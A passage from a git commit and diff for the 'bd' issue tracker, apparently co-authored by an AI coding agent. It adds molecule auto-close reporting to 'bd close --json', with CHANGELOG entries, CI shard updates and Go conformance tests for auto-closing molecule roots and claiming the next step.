docs/reference/json-schema.md gains a bd close --json section. These are main-only behaviors on pages pinned to v1.2.2 (docs/cli-docs.pin): a maintainer call against §1 of engdocs/decisions/2026-07-17-docs-release-pin.md, as in #6508, #5855, #5997 and #5092. The auto-close itself shipped in v1.2.2 (cmd/bd/close.go autoCloseCompletedMolecule), so the old sentence was already wrong at the pin. docs/cli-reference/ is generated from the pinned release and is not hand-edited; the bd close and bd mol show help texts carry the same facts and reach it at the next pin bump. F5: bd close --json reports the auto-close. The entry of a close that completed a molecule gains auto_closed_molecule (the root it closed) or molecule_auto_close_refusal (why the root stayed open), the HTTP API's names, on the direct, proxied and --if-revision routes. The members sit beside the issue's own rather than wrapping the output in an object the way --suggest-next does: an object would change the output's shape exactly when a close completes a molecule and break every consumer that reads an array, while members leave each entry decoding as the closed issue, compose with `closed` under the flag objects, and leave a plain close's bytes unchanged. Pinned on the embedded and proxied tiers (TestEmbeddedCloseJSONReportsMoleculeAutoClose, TestProxiedServerClose2B json_reports_*, and both --if-revision replay tests), all red without the change. F6: cmd/bd's BeadsTemplateLabel is issueops.MoleculeTemplateLabel, so the template commands and molecule membership cannot drift apart. F7: the UOW twin's revision probe says that it writes nothing, and the BatchCloseRequest.auto_close_molecule spec description has its verb back (apigen regenerated, no drift). Iteration 3: F1: on the unit-of-work route (bd serve, the proxied CLI), a refused root's molecule_auto_close_refusal and warning carried the use case's and repository's wrapping ("close : db: IssueSQLRepository.CloseChecked : ...") around the refusal, where the tx twin and the docs give the refusal alone. Both twins now report it through RefusedMoleculeAutoClose, which answers the refusing guard's or policy's own sentence. RunMoleculeRefusedRootKeepsTheStepClose, RunMoleculeGuardedRootKeepsTheStepClose and the embedded and proxied close --json tests want that exact sentence; the uow conformance leg and the proxied test fail without the unwrap. F2: the docs no longer promise ErrVersionMismatch for a write to the root that races its auto-close. The root's read and its revision check share one transaction snapshot, so that write conflicts with the root close at commit and the retry decides the root again; the close fails only if it still conflicts when its retry budget runs out (MoleculeRootClose, IsMoleculeAutoCloseRefusal, CloseRequest.AutoCloseMolecule, the tx twin's comment, the CHANGELOG and the OpenAPI description, apigen regenerated). F3: TestEmbeddedCloseJSONReportsMoleculeAutoClose moves above TestEmbeddedCloseConcurrent's doc comment, which documents its own test again. F4: bd mol progress counting direct steps while the auto-close counts every descendant predates this PR; it is left for a follow-up. F5: cmd/bd's molReader drops GetMoleculeProgress, which nothing called once mol progress read through issueops.ReadMoleculeProgress. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .github/scripts/embedded-cmd-test-shards.txt | 1 + .../scripts/embedded-storage-test-shards.txt | 1 + .github/scripts/proxied-cmd-test-shards.txt | 1 + .golangci.yml | 8 +- CHANGELOG.md | 74 +- backend/conformance/BUILD.bazel | 1 + backend/conformance/molecule_contract.go | 480 ++++++++++ backend/http/BUILD.bazel | 1 + backend/http/corpus/testdata/corpus.yaml | 6 - backend/http/e2e_mol_test.go | 305 ++++++ backend/http/e2e_remote_roles_test.go | 13 +- cmd/bd/BUILD.bazel | 2 + cmd/bd/close.go | 192 ++-- cmd/bd/close_direct.go | 10 +- cmd/bd/close_embedded_test.go | 113 +++ cmd/bd/close_if_revision.go | 68 +- cmd/bd/close_if_revision_embedded_test.go | 6 +- cmd/bd/close_if_revision_proxied_test.go | 6 +- cmd/bd/close_proxied_integration_test.go | 26 + cmd/bd/close_proxied_server.go | 158 ++-- cmd/bd/create.go | 58 +- cmd/bd/critical_paths_test.go | 29 +- cmd/bd/graph_apply.go | 6 +- cmd/bd/mol_bond_compound_label_test.go | 3 - cmd/bd/mol_current.go | 566 ++---------- cmd/bd/mol_port.go | 69 -- cmd/bd/mol_progress.go | 150 ++- cmd/bd/mol_proxied_server.go | 163 +--- cmd/bd/mol_ready_gated.go | 11 +- cmd/bd/mol_roles.go | 233 +++++ cmd/bd/mol_route_parity_integration_test.go | 140 +++ cmd/bd/mol_show.go | 312 +------ cmd/bd/mol_show_proxied_integration_test.go | 114 +++ cmd/bd/mol_test.go | 154 ++-- cmd/bd/ready.go | 51 +- cmd/bd/ready_proxied_server.go | 91 +- cmd/bd/template.go | 21 +- docs/reference/json-schema.md | 23 + docs/workflows/molecules.md | 57 +- internal/httpapi/BUILD.bazel | 2 + internal/httpapi/advance_molecule.go | 64 ++ internal/httpapi/advance_molecule_test.go | 238 +++++ internal/httpapi/apigen/types.gen.go | 56 +- internal/httpapi/batch_close.go | 17 +- internal/httpapi/claim.go | 7 + internal/httpapi/close.go | 41 +- internal/httpapi/problem.go | 10 + internal/httpapi/routes.go | 21 + internal/httpapi/server.go | 20 + internal/httpapi/server_test.go | 3 +- internal/httpapi/spec/openapi.v0.yaml | 172 +++- .../httpapi/wireshape/testdata/golden.json | 87 ++ internal/httpclient/BUILD.bazel | 3 + internal/httpclient/batchcloser.go | 30 +- internal/httpclient/batchgetter.go | 46 + internal/httpclient/lifecycle.go | 24 +- internal/httpclient/molecule.go | 125 +++ internal/httpclient/molecule_test.go | 180 ++++ internal/httpclient/roles_graph.go | 28 + internal/httpclient/served_molecule_test.go | 235 +++++ internal/httpclient/unsupported_gen.go | 2 +- internal/httpclient/wire/handshake.go | 14 + internal/httpclient/wire/paths.go | 14 +- internal/httpclient/wire/skew_test.go | 11 +- internal/httpclient/wire/vocabulary_test.go | 4 +- internal/httpclient/write_ledger_test.go | 16 +- internal/storage/BUILD.bazel | 1 + internal/storage/dolt/BUILD.bazel | 2 + .../storage/dolt/molecule_contract_test.go | 266 ++++++ internal/storage/dolt/molecule_stepper.go | 17 + internal/storage/embeddeddolt/BUILD.bazel | 2 + .../embeddeddolt/molecule_contract_test.go | 63 ++ .../storage/embeddeddolt/molecule_stepper.go | 19 + .../storage/externaldeps/uow_decorator.go | 7 + internal/storage/hook_batch_closer.go | 3 + internal/storage/hook_issue_operations.go | 5 + internal/storage/hook_molecule_stepper.go | 31 + internal/storage/issueops/close_batch.go | 35 +- internal/storage/issueops/close_guard_test.go | 22 + internal/storage/issueops/execution.go | 11 +- internal/storage/issueops/molecule.go | 191 ++++ internal/storage/storage.go | 66 ++ internal/storage/uow/BUILD.bazel | 2 + internal/storage/uow/batch_closer.go | 18 + internal/storage/uow/batchgetter.go | 7 +- internal/storage/uow/edgereader.go | 73 +- internal/storage/uow/issue_operations.go | 11 +- internal/storage/uow/molecule.go | 182 ++++ .../storage/uow/molecule_contract_test.go | 257 ++++++ internal/storage/uow/notifying.go | 5 + internal/storage/uow/relations.go | 48 +- internal/telemetry/BUILD.bazel | 1 + internal/telemetry/molecule_stepper.go | 35 + issueops/BUILD.bazel | 8 +- issueops/batchcloser.go | 13 + issueops/issueops.go | 50 + issueops/molecule.go | 869 ++++++++++++++++++ issueops/molecule_active.go | 141 +++ issueops/molecule_internal_test.go | 40 + issueops/molecule_test.go | 595 ++++++++++++ issueops/moleculestepper.go | 209 +++++ 101 files changed, 6881 insertions(+), 1617 deletions(-) create mode 100644 backend/conformance/molecule_contract.go create mode 100644 backend/http/e2e_mol_test.go create mode 100644 cmd/bd/mol_roles.go create mode 100644 cmd/bd/mol_route_parity_integration_test.go create mode 100644 internal/httpapi/advance_molecule.go create mode 100644 internal/httpapi/advance_molecule_test.go create mode 100644 internal/httpclient/molecule.go create mode 100644 internal/httpclient/molecule_test.go create mode 100644 internal/httpclient/served_molecule_test.go create mode 100644 internal/storage/dolt/molecule_contract_test.go create mode 100644 internal/storage/dolt/molecule_stepper.go create mode 100644 internal/storage/embeddeddolt/molecule_contract_test.go create mode 100644 internal/storage/embeddeddolt/molecule_stepper.go create mode 100644 internal/storage/hook_molecule_stepper.go create mode 100644 internal/storage/uow/molecule.go create mode 100644 internal/storage/uow/molecule_contract_test.go create mode 100644 internal/telemetry/molecule_stepper.go create mode 100644 issueops/molecule.go create mode 100644 issueops/molecule_active.go create mode 100644 issueops/molecule_internal_test.go create mode 100644 issueops/molecule_test.go create mode 100644 issueops/moleculestepper.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index d8ad41995..0ac8f3440 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -214,6 +214,7 @@ 100 70 TestEmbeddedPurgeConcurrent 100 70 TestEmbeddedRoutedMutatingSiblingAssignTagDepTag +100 71 TestEmbeddedCloseJSONReportsMoleculeAutoClose 100 71 TestEmbeddedInitRoleRoutingExplicitDefault 100 71 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 8e103b3e0..714ee1098 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -282,6 +282,7 @@ 40 15 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary 40 15 TestGetIssue 40 15 TestLegacyTrackedIgnoredCursorHealsOnOpen +40 15 TestMoleculeContract 40 15 TestReadyWorkPageTotalFilterMatrix 40 16 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 938cf3ed6..a752c2b07 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -78,6 +78,7 @@ 34 7 TestProxiedServerIfRevisionGuardDelete 34 7 TestProxiedServerIfRevisionTargetGoneIsPreconditionFailed 34 7 TestProxiedServerLabelC +34 7 TestProxiedServerMoleculeLifecycleAgreesOnEveryRoute 34 7 TestProxiedServerTypesAgreeWithCreate 34 8 TestProxiedServerClose2 diff --git a/.golangci.yml b/.golangci.yml index 5af1120fe..238e8fabf 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -472,7 +472,13 @@ linters: linters: - forbidigo # Molecule reporting: each selects the members of one molecule. - - path: '^cmd/bd/mol_(current|port|progress|ready_gated|stale)\.go$' + # + # `mol current` and `mol progress` LEFT this list when their in_progress + # and hooked listings moved onto issueops.Reader.List (cmd/bd/mol_roles.go) + # so a remote backend answers them. The proxied route's in-transaction + # port still searches through the unit of work, and that filter lives in + # mol_port.go beside the port. + - path: '^cmd/bd/mol_(port|ready_gated|stale)\.go$' text: 'do not write a filter here' linters: - forbidigo diff --git a/CHANGELOG.md b/CHANGELOG.md index 1ab3cbdec..bc6841359 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -206,6 +206,30 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 malformed `BEADS_MAX_ROWS`, which is ignored with a warning, a malformed cap value fails every unlimited ready or query read rather than falling back to the default. +- Two molecule capability tokens on `bd serve`. `issues.close.autoCloseMolecule` + announces that `POST /v0/beads/issues/{id}:close` and `POST + /v0/beads/issues:batchClose` accept `auto_close_molecule` and answer + `auto_closed_molecule` and `molecule_auto_close_refusal`; + `issues.advanceMolecule` is the new `POST + /v0/beads/issues/{id}:advanceMolecule`, `bd close --continue`'s advance. + Both run the one library entry (`issueops.CloseRequest.AutoCloseMolecule`, + `issueops.MoleculeStepper`) on the server. The public `issueops` package + gains the molecule rules as one implementation over the BatchGetter, + Relations and EdgeReader roles (`MoleculeRoots`, `LoadMolecule`, + `AnalyzeMolecule`, `ViewMolecule`, `ReadMoleculeProgress`, + `ActiveMoleculeIDs`, `CompletedMolecule`, `MoleculeRootClose`); a + molecule's membership is the parent-child edge. Against a server that + does not advertise a token the HTTP client refuses a library close that + sets `AutoCloseMolecule`, or an advance, before dialing, with a typed + capability error; it never runs a client-side copy of either rule. +- `bd close --json` reports the molecule auto-close. The entry of a close + that completed a molecule carries the root it closed as + `auto_closed_molecule`, or why the root stayed open as + `molecule_auto_close_refusal`, on every route; before, that refusal + reached only stderr. Both members are absent from every other entry, so + each entry still decodes as the closed issue, and the output stays an + array (under `closed` with `--suggest-next`, `--continue` or + `--claim-next`). ### Changed @@ -243,6 +267,43 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 migrate-personal` and the missing-id lookup fallback all read the same local-only answer, and none pays a settings round trip for it. Local backends still fall back to the database values. +- **The molecule auto-close runs inside the step's close, and an error in + it fails the close.** `bd close` of a molecule's last step closes the + root in the same transaction (opt-in `AutoCloseMolecule`, so an + orchestrator that runs its own molecule lifecycle is not doubled), and it + replays on an idempotent re-close. The root close is unforced, so a root + a direct close would refuse stays open and is reported while the step's + close stands: one its close policy refuses (such as a live blocker), and + now also one a close guard refuses (a template, a pinned root, a root + another actor holds). Any other failure of the root close (such as a + storage error) now fails the step's close with it, where the CLI used to + close the root afterwards and only warn. + Two closes that finish a molecule's last steps at the same time no + longer leave its root open: one of them retries and closes it. The cost + is that concurrent closes of steps under one open auto-closing root now + serialize, whether or not either finishes the molecule: each conflict is + retried, and a close still conflicting when its retry budget runs out + fails with the serialization error. A batch close reports each root once, + on the first item under it that closed. +- **`bd close --continue` claims the next step for real.** The advance is + the `MoleculeStepper` role on every route: the assignee is set and a step + another agent holds is skipped, never taken (the direct and http routes + used to flip the status only). +- **`bd mol current`, `bd mol progress`, `bd ready --mol` and `bd mol show` + read through the library's molecule entries on every route**, so + membership is the parent-child edge everywhere (`bd mol show` no longer + adds children found only by an id pattern). +- **Against a server without the molecule tokens, `bd close` says what it + did not do.** If the server does not advertise + `issues.close.autoCloseMolecule` (an older `bd serve`, or one whose + orchestrator owns the molecule lifecycle), the close goes out without the + auto-close request. When that leaves a molecule with every step closed and + its root open, a notice on stderr names the root, once per root in a batch + and again on a re-close; a step under an ordinary epic or an unfinished + molecule prints nothing. If it does not advertise + `issues.advanceMolecule`, or the handshake that would say so fails, `bd + close --continue` refuses before closing anything, so the step is never + left closed with the next step unclaimed. - Every `bd` invocation used to start two git subprocesses before doing any work: `git rev-parse` to locate the repository and `git config user.name` to resolve the actor. On Linux the repository is now located in-process @@ -333,9 +394,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 rebuilds the same typed errors. `bd close` prints the same lines and exits as before, and `bd close --if-revision`, which skipped the guards, now applies them too. Two paths stay outside the guards. The raw storage - `CloseIssue`, which the molecule auto-close, a `close` line of `bd batch` - and the other closes `cmd/bd` makes outside `bd close` use, runs neither the - guards nor close policy on dolt, embedded or proxied; over HTTP it now sends + `CloseIssue`, which a `close` line of `bd batch` and the other closes + `cmd/bd` makes outside `bd close` use, runs neither the guards nor close + policy on dolt, embedded or proxied; over HTTP it now sends `force`, so there it also stops applying close policy, and only a template refuses. A status update into the done category (`bd update -s closed`, a `PATCH` whose `status` is done, an `update` item of `issues:batchApply`) @@ -457,6 +518,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 negative duration and fails, even though `--age 0s`'s own contract is that every wisp qualifies. `ageThreshold <= 0` now bypasses the clock comparison entirely (#7236). +- `bd create --parent` works on the HTTP backend: the create role mints the + `.` child id (and inherits the parent's labels) inside the + create on every route, instead of the CLI reserving it through a raw + `GetNextChildID` the HTTP backend does not serve. `bd mol current` (with + or without an id) and `bd mol progress` no longer answer empty or refuse + over http, and `bd ready --mol` step rows carry their assignee and + timestamps. - **PRs based on `hotfix/**` branches now run full CI, not just cross-version historical smokes and triage labeling.** `pr.yml`, `pr-risk.yml`, `conformance.yml`, `cross-version-smoke.yml` and diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index f5c8882cc..128d7ca97 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -41,6 +41,7 @@ go_library( "lifecycle_update_contract.go", "memories_contract.go", "metadata_cas_contract.go", + "molecule_contract.go", "portable.go", "querier_contract.go", "reader_contract.go", diff --git a/backend/conformance/molecule_contract.go b/backend/conformance/molecule_contract.go new file mode 100644 index 000000000..36021d53a --- /dev/null +++ b/backend/conformance/molecule_contract.go @@ -0,0 +1,480 @@ +package conformance + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// This file holds the contract for the molecule operations every backend +// serves through one library entry each: +// +// - CloseRequest.AutoCloseMolecule / CloseBatchRequest.AutoCloseMolecule — +// the close closes the molecule root it completed IN ITS OWN TRANSACTION +// (internal/storage/issueops.CloseCompletedMoleculeInTx on the store +// backends, uow.CloseCompletedMoleculeInUOW on the unit of work, the +// server's own on http). Opt-in; unforced; guarded on the root revision. +// - issueops.MoleculeStepper — the advance behind `bd close --continue`, +// whose claim is a real claim (assignee = Actor) that never takes a step +// another actor holds. +// +// THE LEAF DOC COMMENTS ARE THE SPEC (issueops/issueops.go CloseRequest, +// issueops/batchcloser.go, issueops/moleculestepper.go, issueops/molecule.go). + +// MoleculeFixture supplies adapter-specific storage access for the molecule +// assertions. +type MoleculeFixture struct { + // IssuePrefix namespaces the ids each assertion seeds. + IssuePrefix string + Lifecycle publicops.Lifecycle + BatchCloser publicops.BatchCloser + Stepper publicops.MoleculeStepper + // CreateIssue and CreateWisp seed one row in the issues and wisps plane. + CreateIssue func(context.Context, *types.Issue, string) error + CreateWisp func(context.Context, *types.Issue, string) error + // AddDependency seeds one edge. + AddDependency func(context.Context, *types.Dependency, string) error + // QueryScalar runs a single-row query and scans it. + QueryScalar func(context.Context, string, []any, ...any) error +} + +const moleculeActor = "molecule-contract" + +type moleculeSeed struct { + t *testing.T + ctx context.Context + fixture MoleculeFixture +} + +func (s moleculeSeed) issue(id string, typ types.IssueType, status types.Status, ephemeral bool, labels ...string) { + s.t.Helper() + issue := &types.Issue{ID: id, Title: "molecule " + id, IssueType: typ, Status: status, Priority: 2, Labels: labels, Ephemeral: ephemeral} + if status == types.StatusClosed { + issue.CloseReason = "seeded closed" + } + create := s.fixture.CreateIssue + if ephemeral { + create = s.fixture.CreateWisp + } + if err := create(s.ctx, issue, moleculeActor); err != nil { + s.t.Fatalf("seed %s: %v", id, err) + } +} + +func (s moleculeSeed) edge(from, to string, typ types.DependencyType) { + s.t.Helper() + if err := s.fixture.AddDependency(s.ctx, &types.Dependency{IssueID: from, DependsOnID: to, Type: typ}, moleculeActor); err != nil { + s.t.Fatalf("seed edge %s -> %s: %v", from, to, err) + } +} + +// row reads id's status and assignee from whichever plane holds it. +func (s moleculeSeed) row(id string) (status, assignee string) { + s.t.Helper() + err := s.fixture.QueryScalar(s.ctx, + `SELECT status, COALESCE(assignee, '') FROM issues WHERE id = ? + UNION ALL SELECT status, COALESCE(assignee, '') FROM wisps WHERE id = ?`, + []any{id, id}, &status, &assignee) + if err != nil { + s.t.Fatalf("read %s: %v", id, err) + } + return status, assignee +} + +// molecule seeds root <- step1 (closed), step2 (open) and answers the ids. +func (s moleculeSeed) molecule(name string, rootType types.IssueType, ephemeral bool, labels ...string) (root, done, last string) { + s.t.Helper() + root = s.fixture.IssuePrefix + "-" + name + done, last = root+".1", root+".2" + s.issue(root, rootType, types.StatusOpen, ephemeral, labels...) + s.issue(done, types.TypeTask, types.StatusClosed, ephemeral) + s.issue(last, types.TypeTask, types.StatusOpen, ephemeral) + s.edge(done, root, types.DepParentChild) + s.edge(last, root, types.DepParentChild) + return root, done, last +} + +func (s moleculeSeed) closeStep(id string, autoClose bool) publicops.CloseResult { + s.t.Helper() + res, err := s.fixture.Lifecycle.Close(s.ctx, publicops.CloseRequest{ + Actor: moleculeActor, IssueID: id, Reason: "step done", Session: "molecule-session", AutoCloseMolecule: autoClose, + }) + if err != nil { + s.t.Fatalf("close %s: %v", id, err) + } + return res +} + +// RunMoleculeCloseAutoClosesTheCompletedRoot pins CloseRequest.AutoCloseMolecule: +// closing the last open step closes an auto-closing root in the same call, +// reports it, and records the auto-close reason. +func RunMoleculeCloseAutoClosesTheCompletedRoot(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + for _, shape := range []struct { + name string + rootType types.IssueType + labels []string + }{ + {"poured", types.TypeMolecule, nil}, + {"template", types.TypeEpic, []string{publicops.MoleculeTemplateLabel}}, + } { + root, _, last := s.molecule("auto-"+shape.name, shape.rootType, false, shape.labels...) + res := s.closeStep(last, true) + if !res.Changed || res.Issue == nil || res.Issue.Status != types.StatusClosed { + t.Fatalf("%s: close %s = %+v, want the step closed", shape.name, last, res) + } + if res.AutoClosedMolecule == nil || res.AutoClosedMolecule.ID != root { + t.Fatalf("%s: AutoClosedMolecule = %+v, want %s", shape.name, res.AutoClosedMolecule, root) + } + if res.MoleculeAutoCloseRefusal != "" { + t.Errorf("%s: MoleculeAutoCloseRefusal = %q, want none", shape.name, res.MoleculeAutoCloseRefusal) + } + if status, _ := s.row(root); status != string(types.StatusClosed) { + t.Errorf("%s: root %s status = %s, want closed", shape.name, root, status) + } + var reason string + if err := fixture.QueryScalar(ctx, `SELECT close_reason FROM issues WHERE id = ?`, []any{root}, &reason); err != nil { + t.Fatalf("read %s close_reason: %v", root, err) + } + if reason != publicops.MoleculeAutoCloseReason { + t.Errorf("%s: root close_reason = %q, want %q", shape.name, reason, publicops.MoleculeAutoCloseReason) + } + } +} + +// RunMoleculeAutoCloseIsOptInAndRuleBound pins the opt-in default and the +// three roots the auto-close must leave open: one a request did not ask for, +// an incomplete one, and an ordinary epic (explicit close-eligible work). +func RunMoleculeAutoCloseIsOptInAndRuleBound(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + + root, _, last := s.molecule("optin", types.TypeMolecule, false) + if res := s.closeStep(last, false); res.AutoClosedMolecule != nil { + t.Errorf("close without AutoCloseMolecule reported %s auto-closed", res.AutoClosedMolecule.ID) + } + if status, _ := s.row(root); status != string(types.StatusOpen) { + t.Errorf("root %s status after an un-flagged close = %s, want open", root, status) + } + + root, _, last = s.molecule("plain", types.TypeEpic, false) + if res := s.closeStep(last, true); res.AutoClosedMolecule != nil { + t.Errorf("an ordinary epic auto-closed: %s", res.AutoClosedMolecule.ID) + } + if status, _ := s.row(root); status != string(types.StatusOpen) { + t.Errorf("ordinary epic %s status = %s, want open", root, status) + } + + root, done, last := s.molecule("incomplete", types.TypeMolecule, false) + if res := s.closeStep(done, true); res.AutoClosedMolecule != nil { + t.Errorf("an incomplete molecule auto-closed: %s", res.AutoClosedMolecule.ID) + } + if status, _ := s.row(root); status != string(types.StatusOpen) { + t.Errorf("incomplete molecule %s status = %s, want open (%s still open)", root, status, last) + } +} + +// RunMoleculeRecloseHealsAStrandedRoot pins the replay clause: an idempotent +// re-close of the last step still closes a root left open. +func RunMoleculeRecloseHealsAStrandedRoot(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + root := fixture.IssuePrefix + "-stranded" + step := root + ".1" + s.issue(root, types.TypeMolecule, types.StatusOpen, false) + s.issue(step, types.TypeTask, types.StatusClosed, false) + s.edge(step, root, types.DepParentChild) + + res := s.closeStep(step, true) + if res.Changed { + t.Errorf("re-close of %s reported Changed", step) + } + if res.AutoClosedMolecule == nil || res.AutoClosedMolecule.ID != root { + t.Fatalf("re-close AutoClosedMolecule = %+v, want %s healed", res.AutoClosedMolecule, root) + } + if status, _ := s.row(root); status != string(types.StatusClosed) { + t.Errorf("stranded root %s status = %s, want closed", root, status) + } +} + +// RunMoleculeBatchCloseAutoClosesTheRootOnce pins the batch clause: a batch +// that closes the remaining steps closes the root once, on one outcome. +func RunMoleculeBatchCloseAutoClosesTheRootOnce(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + root, _, last := s.molecule("batch", types.TypeMolecule, false) + other := root + ".3" + s.issue(other, types.TypeTask, types.StatusOpen, false) + s.edge(other, root, types.DepParentChild) + + res, err := fixture.BatchCloser.CloseBatch(ctx, publicops.CloseBatchRequest{ + Actor: moleculeActor, + Items: []publicops.BatchCloseItem{{IssueID: last, Reason: "done"}, {IssueID: other, Reason: "done"}}, + AutoCloseMolecule: true, + }) + if err != nil { + t.Fatalf("CloseBatch: %v", err) + } + reported := 0 + for _, outcome := range res.Outcomes { + if outcome.Err != nil { + t.Fatalf("outcome %s: %v", outcome.IssueID, outcome.Err) + } + if outcome.AutoClosedMolecule != nil { + reported++ + if outcome.AutoClosedMolecule.ID != root { + t.Errorf("outcome %s auto-closed %s, want %s", outcome.IssueID, outcome.AutoClosedMolecule.ID, root) + } + } + } + if reported != 1 { + t.Errorf("the root was reported on %d outcomes, want exactly one", reported) + } + if status, _ := s.row(root); status != string(types.StatusClosed) { + t.Errorf("root %s status = %s, want closed", root, status) + } +} + +// RunMoleculeRefusedRootKeepsTheStepClose pins the refusal clause: a root its +// own close policy refuses (a live blocker) stays open and is reported in the +// policy's own sentence, and the step close it followed stands. +func RunMoleculeRefusedRootKeepsTheStepClose(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + root, _, last := s.molecule("blocked", types.TypeMolecule, false) + blocker := root + "-blocker" + s.issue(blocker, types.TypeTask, types.StatusOpen, false) + s.edge(root, blocker, types.DepBlocks) + + res := s.closeStep(last, true) + if res.AutoClosedMolecule != nil { + t.Errorf("a blocked root auto-closed: %s", res.AutoClosedMolecule.ID) + } + if want := publicops.NewCloseBlockedError(root, []string{blocker}).Error(); res.MoleculeAutoCloseRefusal != want { + t.Errorf("MoleculeAutoCloseRefusal = %q, want the policy's own sentence %q", res.MoleculeAutoCloseRefusal, want) + } + if status, _ := s.row(last); status != string(types.StatusClosed) { + t.Errorf("step %s status = %s, want closed (the refusal must not undo it)", last, status) + } + if status, _ := s.row(root); status != string(types.StatusOpen) { + t.Errorf("blocked root %s status = %s, want open", root, status) + } +} + +// RunMoleculeGuardedRootKeepsTheStepClose pins the guard clause: the root close +// is unforced, so a root a direct close would refuse — assigned to someone +// other than Actor, pinned, or a template — stays open and is reported in the +// guard's own sentence, on a single close and on a batch, and the step's close +// (and a batch's other items) stand. +func RunMoleculeGuardedRootKeepsTheStepClose(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + for _, guard := range []struct { + name string + apply func(*types.Issue) + // refusal is the guard's own error for root, whose sentence + // MoleculeAutoCloseRefusal reports. + refusal func(root string) error + }{ + {"assigned", func(root *types.Issue) { root.Assignee = "someone-else" }, func(root string) error { + return &publicops.CloseNotAssigneeError{IssueID: root, Assignee: "someone-else", Actor: moleculeActor} + }}, + {"pinned", func(root *types.Issue) { root.Pinned = true }, func(root string) error { + return &publicops.PinnedError{IssueID: root} + }}, + {"template", func(root *types.Issue) { root.IsTemplate = true }, func(root string) error { + return &publicops.TemplateReadOnlyError{IssueID: root} + }}, + } { + for _, batch := range []bool{false, true} { + name := guard.name + if batch { + name += "-batch" + } + root := fixture.IssuePrefix + "-guarded-" + name + last := root + ".2" + rootIssue := &types.Issue{ID: root, Title: "molecule " + root, IssueType: types.TypeMolecule, Status: types.StatusOpen, Priority: 2} + guard.apply(rootIssue) + if err := fixture.CreateIssue(ctx, rootIssue, moleculeActor); err != nil { + t.Fatalf("%s: seed %s: %v", name, root, err) + } + s.issue(root+".1", types.TypeTask, types.StatusClosed, false) + s.issue(last, types.TypeTask, types.StatusOpen, false) + s.edge(root+".1", root, types.DepParentChild) + s.edge(last, root, types.DepParentChild) + + var ( + autoClosed *publicops.Issue + refusal string + closed = []string{last} + ) + if batch { + other := root + "-other" + s.issue(other, types.TypeTask, types.StatusOpen, false) + closed = append(closed, other) + res, err := fixture.BatchCloser.CloseBatch(ctx, publicops.CloseBatchRequest{ + Actor: moleculeActor, + Items: []publicops.BatchCloseItem{{IssueID: last, Reason: "done"}, {IssueID: other, Reason: "done"}}, + AutoCloseMolecule: true, + }) + if err != nil { + t.Fatalf("%s: CloseBatch: %v", name, err) + } + for _, outcome := range res.Outcomes { + if outcome.Err != nil { + t.Fatalf("%s: outcome %s: %v", name, outcome.IssueID, outcome.Err) + } + if outcome.IssueID == last { + autoClosed, refusal = outcome.AutoClosedMolecule, outcome.MoleculeAutoCloseRefusal + } + } + } else { + res := s.closeStep(last, true) + autoClosed, refusal = res.AutoClosedMolecule, res.MoleculeAutoCloseRefusal + } + + if autoClosed != nil { + t.Errorf("%s: a guarded root auto-closed: %s", name, autoClosed.ID) + } + if want := guard.refusal(root).Error(); refusal != want { + t.Errorf("%s: MoleculeAutoCloseRefusal = %q, want the guard's own sentence %q", name, refusal, want) + } + for _, id := range closed { + if status, _ := s.row(id); status != string(types.StatusClosed) { + t.Errorf("%s: %s status = %s, want closed (the refusal must not undo it)", name, id, status) + } + } + if status, _ := s.row(root); status != string(types.StatusOpen) { + t.Errorf("%s: guarded root %s status = %s, want open", name, root, status) + } + } + } +} + +// RunMoleculeStepperClaimsTheNextReadyStepForTheActor pins the advance and its +// claim: the next ready step becomes in progress AND assigned to Actor; without +// AutoClaim nothing is written. +func RunMoleculeStepperClaimsTheNextReadyStepForTheActor(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + root := fixture.IssuePrefix + "-advance" + a, b, c := root+".1", root+".2", root+".3" + s.issue(root, types.TypeMolecule, types.StatusOpen, false) + s.issue(a, types.TypeTask, types.StatusClosed, false) + s.issue(b, types.TypeTask, types.StatusOpen, false) + s.issue(c, types.TypeTask, types.StatusOpen, false) + for _, id := range []string{a, b, c} { + s.edge(id, root, types.DepParentChild) + } + s.edge(c, b, types.DepBlocks) + + res, err := fixture.Stepper.Advance(ctx, publicops.AdvanceRequest{Actor: moleculeActor, ClosedStepID: a}) + if err != nil { + t.Fatalf("Advance: %v", err) + } + if res.MoleculeID != root || res.Claimed 